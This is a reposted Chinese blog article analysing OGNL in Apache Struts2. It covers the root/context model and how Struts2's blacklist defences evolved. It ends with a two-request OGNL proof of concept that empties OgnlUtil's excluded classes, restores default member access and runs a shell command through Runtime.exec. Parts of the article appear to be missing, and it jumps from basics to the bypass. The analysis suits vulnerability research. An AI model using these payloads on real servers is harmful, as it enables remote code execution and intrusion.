最新消息:图 床

淺析 OGNL 的攻防史

COOL IAM 262浏览 0评论

作者:Lucifaer
博客:https://www.lucifaer.com

在分析Struts2漏洞的過程中就一直想把OGNL的運行機制以及Struts2對OGNL的防護機制總結一下,但是一直苦於自己對Struts2的理解不是很深刻而遲遲無法動筆,最近看了lgtm的這篇文章收穫良多,就想在這篇文章的基礎上總結一下目前自己對於OGNL的一些理解,希望師傅們斧正。

0x01 OGNL與Struts2

1.1 root與context

OGNL中最需要理解清楚的是root(根對象)、context(上下文)。

  • root:root可以理解為是一個java對象,表達式所規定的所有操作都是通過root來指定其對哪個對象進行操作。
  • context:context可以理解為對象運行的上下文環境,context以MAP的結構,利用鍵值對關係來描述對象中的屬性以及值。

Struts2框架使用了標準的命名上下文(naming context,我實在是不知道咋翻譯了-. -)來執行OGNL表達式。處理OGNL的最頂層對象是一個Map對象,通常稱這個Map對象為context map或者context。而OGNL的root就在這個context map中。在表達式中可以直接引用root對象的屬性,如果需要引用其他的對象,需要使用#標明

框架將OGNL里的context變成了我們的ActionContext,將root變成了valueStack。Struts2將其他對象和valueStack一起放在ActionContext中,這些對象包括applicationsessionrequest context的上下文映射。下面是一個圖例:

所以在S2-045時可使用的payload已經沒有辦法再使用了,需要構造新的利用方式。

文章提出了這麼一種思路:

  • 沒有辦法使用context.map,可以調用attr,前文說過attr中保存着整個context的變量與方法,可以通過attr中的方法返回給我們一個context.map
  • 沒有辦法直接調用excludedClasses,也就不能使用clear方法來清空,但是還可以利用setter來把excludedClasses給設置成空
  • 清空了黑名單,我們就可以利用DefaultMemberAccess來覆蓋_memberAccess,來執行靜態方法了。

而這裡又會出現一個問題,當我們使用OgnlUtilsetExcludedClassessetExcludedPackageNames將黑名單置空時並非是對於源(全局的OgnlUtil)進行置空,也就是說_memberAccess是源數據的一個引用,就像前文所說的,在每次createAction時都是通過setOgnlUtil利用全局的源數據創建一個引用,這個引用就是一個MemberAccess對象,也就是_memberAccess。所以這裡只會影響這次請求的OgnlUtil而並未重新創建一個新的_memberAccess對象,所以舊的_memberAccess對象仍未改變。

而突破這種限制的方式就是再次發送一個請求,將上一次請求已經置空的OgnlUitl作為源重新創建一個_memberAccess,這樣在第二次請求中_memberAccess就是黑名單被置空的情況,這個時候就釋放了DefaultMemberAccess,就可以進行正常的覆蓋以及執行靜態方法。

poc為:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))

需要發送兩次請求:

转载请注明:IAMCOOL » 淺析 OGNL 的攻防史

5 1 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x